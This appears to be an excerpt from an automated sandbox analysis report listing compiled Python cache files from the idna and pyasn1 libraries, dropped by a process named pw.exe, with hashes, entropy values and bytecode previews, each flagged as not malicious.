Malicious:	false
Preview:	o.........SgR5.......................@...sj...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.Z.d.Z.e...d...Z.d.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.e.d.e.f.d.d...Z.d.e.d.e.d.e.f.d.d...Z.d.e.d.e.f.d.d...Z.d.e.d.e.f.d.d...Z.d.e.e.e.f...d.e.f.d.d ..Z.d.e.e.e.f...d!e.d.e.f.d"d#..Z.dFd.e.d%e.d.e.f.d&d'..Z.d.e.d.e.f.d(d)..Z.d.e.d.e.f.dd+..Z d.e.d.d.f.d,d-..Z!d.e.d.e.d.e.f.d/d0..Z"dFd.e.d.e.d1e.d.e.f.d2d3..Z#d.e.e.e.e$f...d.d.f.d4d5..Z%d.e.d.e.f.d6d7..Z&d.e.e.e.e$f...d.e.f.d8d9..Z'dGd;e.d<e.d=e.d.e.f.d>d?..Z(.$.$.$.$dHd.e.e.e.e$f...d@e.dAe.d<e.d=e.d.e.f.dBdC..Z).$.$.$dId.e.e.e.e$f...d@e.dAe.d<e.d.e.f.dDdE..Zd.S.)J.....N)...Optional..Union.....)...idnadata)...intranges_contain.....s....xn--u....[....])%.0....1....2....3....4....5....6....7....8....9...._....a....b....c....d....e....f....g....h....i....j....k....l....m....n....o....p....q....r....s....t....u....v....w....x....y....z...c....................@........e.Z.d.Z.d.Z.d.S.)...IDN

C:\recover\pw\lib\site-packages\idna\pycache\idnadata.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	198604
Entropy (8bit):	3.5203680043674423
Encrypted:	false
SSDEEP:	1536:fIS0p2ZbbO4g3aD8yynBXdD4RoC2Mo+4S+s8ecqmUM2UK+QQeky22ImSsEgYtqWy:f621S458yy6
MD5:	3B7B7D9FE2C0B833A7FF02D35F96843D
SHA1:	CE79AD0354B7645220A03C1E3009F3ED9E83D411
SHA-256:	579D279FAC23B275AE4A595225BBD9D41057D0E811719A7F1870CBF6E3CF6D39
SHA-512:	5EEA12706B803A7A876D9FCAAD86BAB2F67E1E1616D1DF56E69C6AA5599D7E1CD4F6F204F5C07F5F8C73565E949D2D065C1520508BD497F4F441B545414E1AF3
Malicious:	false
Preview:	o.........Sg.7.......................@...s.]..d.Z.d.d.d.d.d.d...Z.i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d d...d!d...d"d...d#d...d$d...d%d...d&d...d'd...d(d...d)d.....i.d*d...d+d...d,d...d-d...d.d...d/d...d0d...d1d...d2d...d3d...d4d...d5d...d6d...d7d...d8d...d9d...d:d.....i.d;d...d<d...d=d...d>d...d?d...d@d...dAd...dBd...dCd...dDd...dEd...dFd...dGd...dHd...dId...dJd...dKd.....i.dLd...dMd...dNd...dOd...dPd...dQd...dRd...dSd...dTd...dUd...dVd...dWd...dXd...dYd...dZd...d[d...d\d.....i.d]d...d^d...d_d...d`d...dad...dbd...dcd...ddd...ded...dfd...dgd...dhd...did...djd...dkd...dld...dmd.....i.dnd...dod...dpd...dqd...drd...dsd...dtd...dud...dvd...dwd...dxd...dyd...dzd...d{d...d\|d...d}d...d~d.....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.

C:\recover\pw\lib\site-packages\idna\pycache\intranges.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1937
Entropy (8bit):	5.272711595591983
Encrypted:	false
SSDEEP:	48:zrDo6itCRy/ORh72sN+Rl/99X7iEvR9Bn:zrc7kR2sNC/9t7jvN
MD5:	60D3156106F544B8165FAD63BB308C02
SHA1:	EE4755A2F4F0AE0DB16CA365CBEA1136D30430C5
SHA-256:	69B0B54FE58B77EBCE98A548B6030FF9CD0C387FC7F50EE34381AF1DC3658AA9
SHA-512:	2D9EAF4E9002F39239E61E7550B2C87A17A7B9ABB02F19CA3BE6FD61FE2C30875E058E6F397661B5214621147574E4147ACC5F83F9B438CD1ECD7EE17094D5C1
Malicious:	false
Preview:	o.........Sgj........................@...s....d.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.e.e...d.e.e.d.f...f.d.d...Z.d.e.d.e.d.e.f.d.d...Z.d.e.d.e.e.e.f...f.d.d...Z.d.e.d.e.e.d.f...d.e.f.d.d...Z.d.S.).a.....Given a list of integers, made up of (hopefully) a small number of long runs.of consecutive integers, compute a representation of the form.((start1, end1), (start2, end2) ...). Then answer the question "was x present.in the original list?" in time O(log(# runs)).......N)...List..Tuple..list_..return.c....................C...s....t.\|...}.g.}.d.}.t.t.\|.....D.]1}.\|.d...t.\|...k.r%\|.\|...\|.\|.d.....d...k.r%q.\|.\|.d...\|.d.......}.\|...t.\|.d...\|.d...d.........\|.}.q.t.\|...S.).a....Represent a list of integers as a sequence of ranges:. ((start_0, end_0), (start_1, end_1), ...), such that the original. integers are exactly those x such that start_i <= x < end_i for some i... Ranges are encoded as single integers (start << 32 \| end), not as tuples.. ..........r....)...sorted..range..len..append.._e

C:\recover\pw\lib\site-packages\idna\pycache\package_data.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	164
Entropy (8bit):	4.6097669395021335
Encrypted:	false
SSDEEP:	3:y/BNy8uletxbkCoeJ/Lt/lPlBdMWkVWrzSBw5JOmIOt2TgN:y/7qetGCow5h7kArmBw5Ampt2s
MD5:	915CBBFFDCB318DB05288E8759D3417A
SHA1:	D04D8D36FDA403331C12319A35173B760D2F0DAF
SHA-256:	AAB1B677AB83BDB71EDBA30F95EA97B56C9BFFA88D6E92BF7431DE3F10F0AEE0
SHA-512:	26B18F278F086036A11CA5220BE5CD90A9E82BCFBE14C88C8AAADFC32DE583C7632DB82F784F1E8C302D5F11D12DDDF401A1D91B4A5E500236BEDD184386D749
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.S.).z.3.9N)...__version__..r....r.....4C:\recover\pw\lib\site-packages\idna\package_data.py..<module>....s......

C:\recover\pw\lib\site-packages\pyasn1\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	164
Entropy (8bit):	4.655046614485622
Encrypted:	false
SSDEEP:	3:y/BNsl0uletxbkCoJ1tt/lPluRQdMWkVWrzL1dM4LkcTgM:y/MaqetGCoJ1rOG7kArdnt
MD5:	05D104D32F54BD3D74B8FB4D2A895DF7
SHA1:	A4084EA598817E643E9757F8B8FEEC11F77D0BAC
SHA-256:	E8F9498E3951B07CE24DD7F0F5156594E8F6368206C2AD90CC066DD254A7746B
SHA-512:	571E882C98CF1948B444F3D4F31B8C0664A6EDA1F079F73B08D20CDAB82D335943B8E76E3FBC743E62DCEB61ED69F524FB55B8985A6557759FF44B57AB4CDF89
Malicious:	false
Preview:	o.........SgB........................@...s....d.Z.d.S.).z.0.6.1N)...__version__..r....r.....2C:\recover\pw\lib\site-packages\pyasn1\__init__.py..<module>....s......

C:\recover\pw\lib\site-packages\pyasn1\pycache\debug.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4108
Entropy (8bit):	4.980046548974931
Encrypted:	false
SSDEEP:	96:UP//QELK0E+xQk5QMwJ9v9YitXwqiOEsRuUOGnBiw:UPm0XQ1MwzOOFRTBp
MD5:	45F9EED6B7DA5C24D5DC32EEE586F240
SHA1:	76F6FCBE58C608E6B333BBC90A060620F928F543
SHA-256:	73FB8D513B4497E0E35F95163DEED78319B70AFDACCBCFA9ACC97FEA4D8FEBE0
SHA-512:	734A1467E80DBF98AF636906B2D8F9D1962ADA2138B8AA152ACAC3A773015CFF8CCC114B49BEE71FB1189773338F36FF6EA8AC15D3E384EC76736E87844D5E79
Malicious:	false
Preview:	o.........Sg.........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...g.d...Z.d.Z.d.Z.d.Z.d.Z.e.e.e.e.d...Z.i.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.e.a.d.d...Z.d.e.f.d.d...Z.d.d...Z.G.d.d...d.e...Z.e...Z.d.S.)......N)...__version__)...error)...Debug..setLogger..hexdump..........i....)...none..encoder..decoder..allc....................@...s&...e.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.d.S.)...PrinterNc....................C...sj...\|.d.u.r.t...d...}.\|...t.j.....\|.d.u.r.t.....}.\|.d.u.r t...d...}.\|...\|.....\|...t.j.....\|...\|.....\|.\|._.d.S.).N..pyasn1z!%(asctime)s %(name)s: %(message)s)...logging..getLogger..setLevel..DEBUG..StreamHandler..Formatter..setFormatter..addHandler.._Printer__logger)...self..logger..handler..formatter..r...../C:\recover\pw\lib\site-packages\pyasn1\debug.py..__init__ ...s..........................z.Printer.__init__c....................C........\|.j...\|.....d.S...N).r......debug..r......msgr....r....r......__call__2..........z.Printer.__call__c....................C

C:\recover\pw\lib\site-packages\pyasn1\pycache\error.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4077
Entropy (8bit):	4.9711143771120945
Encrypted:	false
SSDEEP:	96:+ce+V9bNTz9XBMXG8oD78Or+3rDWXId4d32NxjbiuipJ:GqZJ9GWKOr+3eId632TjbriH
MD5:	DBB0D79D96BC6E680D69F074D2F5743C
SHA1:	9FE6CEAAE11D5E4C9B6C4A0C695D7A1D293E9DF9
SHA-256:	38D94BC9A3044B3D7E991C8A5699D6EFAF60D9D13A0242A3F36D02C9197A850F
SHA-512:	CB5EEFCAB204E88B9518C8088B86E8C676437BCD67F1B99131F08D606F81804D37780FB1FD0C08511CF6A70E75451459E40DBBED3B7D174ED6D3185B90D1FD91
Malicious:	false
Preview:	o.........Sg.........................@...s....G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e.e...Z.G.d.d...d.e.e...Z.G.d.d...d.e.e...Z.d.S.).c....................@...s$...e.Z.d.Z.d.Z.d.d...Z.e.d.d.....Z.d.S.)...PyAsn1ErroraB...Base pyasn1 exception.. `PyAsn1Error` is the base exception class (based on. :class:`Exception`) that represents all possible ASN.1 related. errors... Parameters. ----------. args:. Opaque positional parameters.. Keyword Args. ------------. kwargs:. Opaque keyword parameters.. c....................O...s....\|.\|._.\|.\|._.d.S...N)..._args.._kwargs)...self..args..kwargs..r...../C:\recover\pw\lib\site-packages\pyasn1\error.py..__init__....s........z.PyAsn1Error.__init__c....................C...s....\|.j...d.i...S.).a7...Return exception context.. When exception object is created, the caller can supply some opaque. context for the upper layers to better understand the c

C:\recover\pw\lib\site-packages\pyasn1\codec\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	149
Entropy (8bit):	4.3420290382017335
Encrypted:	false
SSDEEP:	3:y/BNllCuleh/wZWeWJ2MWkVWrzL1A67kcTgp:y/6qeh/w6JIkArdA6x4
MD5:	5A18BD818636E94A51C0FF49635B1562
SHA1:	28D95FE686FC64227CEF0B2FFF9419C55370ACEF
SHA-256:	98F82FF82A2BDC886A268CF417E8FFD0DD7847FA1AEA854B90B0AA39F7C289CB
SHA-512:	34E972FE916698039EEC3A42F9A1725DF8EDD9ECC33D8D3E03D63E93BB8EAA1E17E7516428AF5A0C4E7F1281D083CCF4C7FDDCECC6F924729FCA1133A75CE20B
Malicious:	false
Preview:	o.........Sg;........................@...s....d.S.).N..r....r....r.....8C:\recover\pw\lib\site-packages\pyasn1\codec\__init__.py..<module>....s......

C:\recover\pw\lib\site-packages\pyasn1\codec\pycache\streaming.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	5810
Entropy (8bit):	5.271897468516215
Encrypted:	false
SSDEEP:	96:7+ZlQBEsXLKHLEQ8yjdQBblCEdS1azu5VZ6qMwxqNo+dTqVSM5LleeVOpRfYyU6W:a3rZ+jCr1azunZNMLoeTsH5LlL6RfYTv
MD5:	20CE45B27896B0453B42AA6E651CC74F
SHA1:	19C49C217005F738A2943C3CAF1D093E87541742
SHA-256:	6DB78E93761DAC82395224B9FE4432D000F45069CA4838D46CDEFD436C778863
SHA-512:	8FDB21FDE7954F80875123219F1379438020540FD672B2F556B4667B7B614AF13FB27A56EDB8FA87B97AA484A291EBD0B838C619D6323D787BC3607439C59644
Malicious:	false
Preview:	o.........Sg.........................@...sb...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e.j...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.S.)......N)...error)...univc....................@...sd...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.e.j.f.d.d...Z.d.d.d...Z.e.d.d.....Z.e.j.d.d.....Z.d.d...Z.d.S.)...CachingStreamWrappera....Wrapper around non-seekable streams... Note that the implementation is tied to the decoder,. not checking for dangerous arguments for the sake. of performance... The read bytes are kept in an internal cache until. setting _markedPosition which may reset the cache.. c....................C...s....\|.\|._.t.....\|._.d.\|._.d.S...Nr....)..._raw..io..BytesIO.._cache.._markedPosition)...self..raw..r.....9C:\recover\pw\lib\site-packages\pyasn1\codec\streaming.py..__init__....s..........z.CachingStreamWrapper.__init__c....................C...s$...\|...\|...}.\|.j...t.\|.....t.j.....\|.S...N)...readr......seek..len..os..SEEK_CUR).r......n..resultr....r....r......p

C:\recover\pw\lib\site-packages\pyasn1\codec\ber\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	153
Entropy (8bit):	4.348341160454957
Encrypted:	false
SSDEEP:	3:y/BNllCuleh/wZWeqTKMWkVWrzL19AXkcTgp:y/6qeh/w8MkArdm4
MD5:	17509E339B3B5B3853DF639158A1662F
SHA1:	93BD2B75A64B9EF55D1FA6381685E658D3E703FF
SHA-256:	06B1BD79F8280D09922F493DCF079A2B5D6BDA48B6503EF71BB6B83C4A8037A5
SHA-512:	B4382259C7A1E1CDE11E129734F7C936582D7C6AF7A230E2832E4F98670FBC005644D3A91B129160D35669514FD247A3B9A3243FB04CA1F7A15307BC6205656D
Malicious:	false
Preview:	o.........Sg;........................@...s....d.S.).N..r....r....r.....<C:\recover\pw\lib\site-packages\pyasn1\codec\ber\__init__.py..<module>....s......

C:\recover\pw\lib\site-packages\pyasn1\codec\ber\pycache\decoder.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	42151
Entropy (8bit):	5.64780382011022
Encrypted:	false
SSDEEP:	768:1WO8A/SzSYCTAE7rMi7Oj7KRXjT0DZESJDv/yY7cwel7+gkVy0/lpPUno7wwzY:1WjAqzSSEciqj7KRXjs7f+7MpKt
MD5:	6061BD5D8DEE9DB9883FF42B89CA838E
SHA1:	B9604C2D46A62E9B0D8A068403CC62FBC8A54A8D
SHA-256:	1AC54273290BFC4D493FC02BB1B5685A4D37D9F9514131DA63F577B0FC049557
SHA-512:	1FBC8A74AB9B02A8B4FEF13B68BAF46E128CCFF9F12C0EDBB38851D6F69675B19BC899DEB6F71FAD59AE46D3F0B80035EB4B2A12DDBBBEC37E5D32D315A3FAAA
Malicious:	false
Preview:	o.........SgX5.......................@...sT...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.e.j.e.e.j.d...Z.e.j.Z.e.j.Z.G.d.d...d.e ..Z!G.d.d...d.e!..Z"G.d.d...d.e"..Z#e#..Z$G.d.d...d.e"..Z%G.d.d...d.e%..Z&G.d.d...d.e"..Z'G.d.d ..d e"..Z(G.d!d"..d"e"..Z)G.d#d$..d$e"..ZG.d%d&..d&e"..Z+G.d'd(..d(e"..Z,G.d)d..de!..Z-G.d+d,..d,e-..Z.G.d-d...d.e...Z/G.d/d0..d0e/..Z0G.d1d2..d2e/..Z1G.d3d4..d4e...Z2G.d5d6..d6e2..Z3G.d7d8..d8e2..Z4G.d9d:..d:e...Z5G.d;d<..d<e"..Z6G.d=d>..d>e(..Z7G.d?d@..d@e(..Z8G.dAdB..dBe(..Z9G.dCdD..dDe(..Z:G.dEdF..dFe(..Z;G.dGdH..dHe(..Z<G.dIdJ..dJe(..Z=G.dKdL..dLe(..Z>G.dMdN..dNe(..Z?G.dOdP..dPe(..Z@G.dQdR..dRe(..ZAG.dSdT..dTe(..ZBG.dUdV..dVe(..ZCG.dWdX..dXe(..ZDi.e.jEjFe%....e.jGjFe&....e.jHjFe'....e.jIjFe(....e.jJjFe)....e.jKjFe....e.jLjFe+....e.jMjFe%....e.jNjFe,....e.jOjFe/....e.jPjFe2....e.jQjF

C:\recover\pw\lib\site-packages\pyasn1\codec\ber\pycache\eoo.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	764
Entropy (8bit):	5.050860603950484
Encrypted:	false
SSDEEP:	12:CwYgNnMNXk/mJDDBpYNkvDMyxLWaNunbGBPLLnlkszwIpDKm1l+0TqSjciKtu0Qb:DMN0EngkvZJW64GBeszRD3QWqSoFB6GU
MD5:	A0D7A5EC9B2B152ED9A7191F3215B7CF
SHA1:	C7DBDBAE576E99D42D94FC9EDAD1233DBC139E40
SHA-256:	229FF912097F43C60806BA2AB8AA77CD01CBF4B447D5B398B78E6E36D6029711
SHA-512:	1E53C184EB5BBCBD2FAFBDAE8806ED90D7400FD886DCB47350596B7A99E8341E0C9120FF0674FD399D98E3EDE276999019D15FC2DBFA9ADE880BDD50BA38A476
Malicious:	false
Preview:	o.........Sg.........................@...s:...d.d.l.m.Z...d.d.l.m.Z...d.g.Z.G.d.d...d.e.j...Z.e...Z.d.S.)......)...base)...tag..endOfOctetsc....................@...s4...e.Z.d.Z.d.Z.e...e...e.j.e.j.d.....Z.d.Z.d.d...Z.d.S.)...EndOfOctetsr....Nc....................O...s*...\|.j.d.u.r.t.j.\|.g.\|...R.i.\|.....\|._.\|.j.S.).N)..._instance..object..__new__)...cls..args..kwargs..r.....7C:\recover\pw\lib\site-packages\pyasn1\codec\ber\eoo.pyr........s..........z.EndOfOctets.__new__)...__name__..__module__..__qualname__Z.defaultValuer......initTagSet..Tag..tagClassUniversal..tagFormatSimple..tagSetr....r....r....r....r....r....r........s..................r....N)...pyasn1.typer....r......__all__..SimpleAsn1Typer....r....r....r....r....r......<module>....s..............

C:\recover\pw\lib\site-packages\pyasn1\codec\cer\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	153
Entropy (8bit):	4.337820634478246
Encrypted:	false
SSDEEP:	3:y/BNllCuleh/wZWeqTKMWkVWrzL18ygOkcTgp:y/6qeh/w8MkArd8Nu4
MD5:	EB591EF04EE760C2F8E8AA5534895351
SHA1:	C5E17498C754A9AEE03E497170CB9EC35115A185
SHA-256:	79DC4329047DE66D3B7580D0289DE83949A2CA5D186B91023EADECE42128A5DE
SHA-512:	8C22783B90123B5994359CCD3D5758C73B1136A698C1F708A5669F60C12BEE836E6045FBDA7D36196DA6A4C645A62FC326798C0CC017B13B276B1D687969E5D7
Malicious:	false
Preview:	o.........Sg;........................@...s....d.S.).N..r....r....r.....<C:\recover\pw\lib\site-packages\pyasn1\codec\cer\__init__.py..<module>....s......

C:\recover\pw\lib\site-packages\pyasn1\codec\cer\pycache\decoder.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2484
Entropy (8bit):	5.38046615336053
Encrypted:	false
SSDEEP:	48:+z8iXwFKzH/u19DflQ6ejclOVaJORi6Zy0punszpDVYRB:+z5XTfcfXEaJONNpunszp5K
MD5:	B8178D6C775833D33B3EBF9CE16957C3
SHA1:	E739145BE87EA5557CD61572B02028FF068B4BC6
SHA-256:	F34ADB606A8C129577C5DBEDC5B79801FC304FF008CD908C6CCF98E62B02E6AA
SHA-512:	73A065B9B4EB1F5404479F28E78435C015FFAEBC46BC9F85822F682BB257E701A3DB1118B76EA2F50429BBD62D75A175CD635B1BA4389E89F0EA0CD13CB98A8D
Malicious:	false
Preview:	o.........Sg.........................@...s8...d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.g.Z.e.j.Z.G.d.d...d.e.j...Z.e.j.Z.e.j.Z.e.j.Z.e.j.....Z.e...e.j.j.e...e.j.j.e...e.j.j.e...e.j.j.e...i.....e.j.....Z.e.....D.].Z.e.j.d.u.rte.j.j.j.Z.e.d.u.rte.e.v.rte.e.e.<.q\G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j ..Z e ..Z!d.e"f.d.d...Z#d.S.)......N)...error)...readFromStream)...decoder)...univ..decode..StreamingDecoderc....................@...s$...e.Z.d.Z.e...d...Z.....d.d.d...Z.d.S.)...BooleanPayloadDecoderr....Nc....................k...s......\|.d.k.r.t...d.....t.\|.\|.\|...D.].}.t.\|.t...r.\|.V...q.\|.d...}.\|.d.k.r&d.}.n.\|.d.k.r-d.}.n.t...d.\|.......\|.j.\|.\|.\|.f.i.\|.....V...d.S.).N.....z Not single-octet Boolean payloadr.........z.Unexpected Boolean payload: %s).r....Z.PyAsn1Errorr......isinstance..SubstrateUnderrunErrorZ._createComponent)...selfZ.substrateZ.asn1Spec..tagSet..length..stateZ.decodeFunZ.substrateFun..options..chunk..byte..value..r.....;C:\recover\pw\lib\site-pa

C:\recover\pw\lib\site-packages\pyasn1\codec\der\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	153
Entropy (8bit):	4.340203170273019
Encrypted:	false
SSDEEP:	3:y/BNllCuleh/wZWeqTKMWkVWrzL17BOkcTgp:y/6qeh/w8MkArd04
MD5:	5D42C0EF5D93CF8A831A1A8098A4251F
SHA1:	81AE8D9883C59FE3093C9E526EE9216C602F841F
SHA-256:	F8843573CE4D33A8E7F46B0D355FC8CC92DB0CB673ED89478AE1D7C3B173CCEA
SHA-512:	B37A2048B612A28429508AAFD36D3F12A4C86C7A2C0F6EFF378EC8BEA83DB73021E95BEB4CE8EB8EF166349319E82FE63FB75FD162E810019D8E1A60DF7ECEB8
Malicious:	false
Preview:	o.........Sg;........................@...s....d.S.).N..r....r....r.....<C:\recover\pw\lib\site-packages\pyasn1\codec\der\__init__.py..<module>....s......

C:\recover\pw\lib\site-packages\pyasn1\codec\der\pycache\decoder.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1851
Entropy (8bit):	5.096926416135704
Encrypted:	false
SSDEEP:	24:qjM1Beausa5bi6PPevNLPKcDP4h8bM8rc6826aFQc6ZLCJckPyhvc4J4XQCBf:VNkiuPQzHDwmPrS216ZOcBzAn1
MD5:	F324540EB85B6D3D66D4AA39F8462E24
SHA1:	BAD6F1158A9C4ABE60E532FEEE65F8A23D96CEF6
SHA-256:	8B11262E2DC0FA4A01A6E6BCC8943A4AB7B980EAB57BBBF5C37FF82137D0694C
SHA-512:	FCC32B1925D4AED68B4297F11D627C569ED584BED3B3DB26985358E5975534D61E2C3B0831AF45A63B58D03A09641B9677D2B5F143E06A9F4F0EEA45F07897AB
Malicious:	false
Preview:	o.........Sgd........................@...s....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.g.Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.e.j.Z.e.j.....Z.e...e.j.j.e...e.j.j.e...e.j.j.e...i.....e.j.....Z.e.....D.].Z.e.j.d.u.rce.j.j.j.Z.e.d.u.rce.e.v.rce.e.e.<.qKG.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.e...Z.d.e.f.d.d...Z.d.S.)......N)...decoder)...univ..decode..StreamingDecoderc....................@........e.Z.d.Z.d.Z.d.S.)...BitStringPayloadDecoderFN....__name__..__module__..__qualname__Z.supportConstructedForm..r....r.....;C:\recover\pw\lib\site-packages\pyasn1\codec\der\decoder.pyr.................r....c....................@...r....)...OctetStringPayloadDecoderFNr....r....r....r....r....r........r....r....c....................@...s ...e.Z.d.Z.e.j.j.Z.e.Z.e.Z.d.Z.d.S.)...SingleItemDecoderFN).r....r....r....r....r......__doc__..TAG_MAP..TYPE_MAPZ.supportIndefLengthr....r....r....r....r....+...s..............r....c....................@........e.Z.d.Z.e.j.j.Z.e.Z.d.S.).r....N).r....r....r.

C:\recover\pw\lib\site-packages\pyasn1\compat\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	171
Entropy (8bit):	4.718920730089099
Encrypted:	false
SSDEEP:	3:y/BNW/ctulev/Lgl2jrEsnlllPlJGMWkVWrzL1aD67kcTgk:y/Hqev/Ulcrfllp4kArdaDuR
MD5:	A36A16A87A3C914BACE24101B1427BE8
SHA1:	FC83DE972CE2A07A37FE2F9A0297CA8F8467D09D
SHA-256:	B312013D4CC093FA9EB7B5A64EA52CB11F2A60100CE0DD14F70F70C5679C5546
SHA-512:	91915378D300324CDA225AC89D6BD63DF8EC9BE140FE099872793720BC4E8E3165C2983DA4A59C5D1AD68E8DBBEE8D5BE6A1EA00666EDFD0DEE2E11481474954
Malicious:	false
Preview:	o.........Sgp........................@...s....e...Z.d.S.).N)...objectZ._MISSING..r....r.....9C:\recover\pw\lib\site-packages\pyasn1\compat\__init__.py..<module>....s......

C:\recover\pw\lib\site-packages\pyasn1\compat\pycache\integer.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	405
Entropy (8bit):	4.807223179670478
Encrypted:	false
SSDEEP:	6:y/vGl//rCo/10MIPLsXSjAfNs//w0UuDPLyYpKX6sfJIkArda1lA0ikdX+mqqqJ:CelXrC664jlsSuD2T5X1lA0ikdOZqqJ
MD5:	A166B5B5FF2A25E1E9EBB05405E30D29
SHA1:	1D7502A19E9F94CDA550CD06F30812FC05EFD9DD
SHA-256:	59986B4B5D78C94660EBAEEB7D0553364BB3C33D9857972306D4E12CA711066B
SHA-512:	B2BE966096927EEF927BF5D1B6D79FD96AE5A2685D2F5A3946AFEE9C0E1BEB55DF1B465CA591C7CDBBCB733FEED3D9347B271FDD79FC80460674F1D49E076591
Malicious:	false
Preview:	o.........Sg.........................@...s....d.d.d...Z.d.S.).F.....c....................C...sJ...t.\|.....\|...}.\|.r.\|.d...d.k.r.\|.d.7.}.\|.j.\|.d...\|.d...r.d.p.d...d.\|.d...S.).N.....r...........big)...signed)...max..bit_length..to_bytes)...valuer......length..r.....8C:\recover\pw\lib\site-packages\pyasn1\compat\integer.pyr........s..........$.r....N).Fr....).r....r....r....r....r......<module>....s......

C:\recover\pw\lib\site-packages\pyasn1\type\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	148
Entropy (8bit):	4.332337160658896
Encrypted:	false
SSDEEP:	3:y/BNllCuleh/wZWeVx2MWkVWrzL1KLLikcTgp:y/6qeh/wvIkArdKLLy4
MD5:	FE5FF4C9D252A927AF5E5446FF88A537
SHA1:	44CB8CC5A0266E969035332C88460EB463E00B22
SHA-256:	129F7BC88410ED5228285E8A3DAF0582B0C96D286ED6A5BBC8CD63D8301FABCF
SHA-512:	2104B59E08F0AC5863D4FC20D5ACA7512DB7E9D1308634F9C9FB35F5CDCFEC1971D52E2BCBE0C92CB104B6B8D985B68864909A37EF6DBDF30F9C3399D319C01B
Malicious:	false
Preview:	o.........Sg;........................@...s....d.S.).N..r....r....r.....7C:\recover\pw\lib\site-packages\pyasn1\type\__init__.py..<module>....s......

C:\recover\pw\lib\site-packages\pyasn1\type\pycache\base.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	21808
Entropy (8bit):	5.250890008321021
Encrypted:	false
SSDEEP:	384:Bd+3khvV7gSPy9VQYmqBB00ygtfUxWsKRwghM+AgSbCiFFQQVXycnSC1MtIdtcVp:BMkhvV7gSPy9VQYmqBB00ygRUxWsKRwk
MD5:	47B9C6A1D310B5A7F07C732ED260B18B
SHA1:	56B20EF6CD28E4CE7B48B2BECCA6D892B06F0C64
SHA-256:	921BA4157C920E10B1D81FB1EFB3519F1D7439E03EA996B618F0E644C5FFA559
SHA-512:	44273AE348D73BFC50ABB68FA3F5BB0DB88D5FF68B60F0B70E02996F83905499F35732371D20B2F4A369ECE9B0A980A8D51023FF436E244184579A70B97A5D0B
Malicious:	false
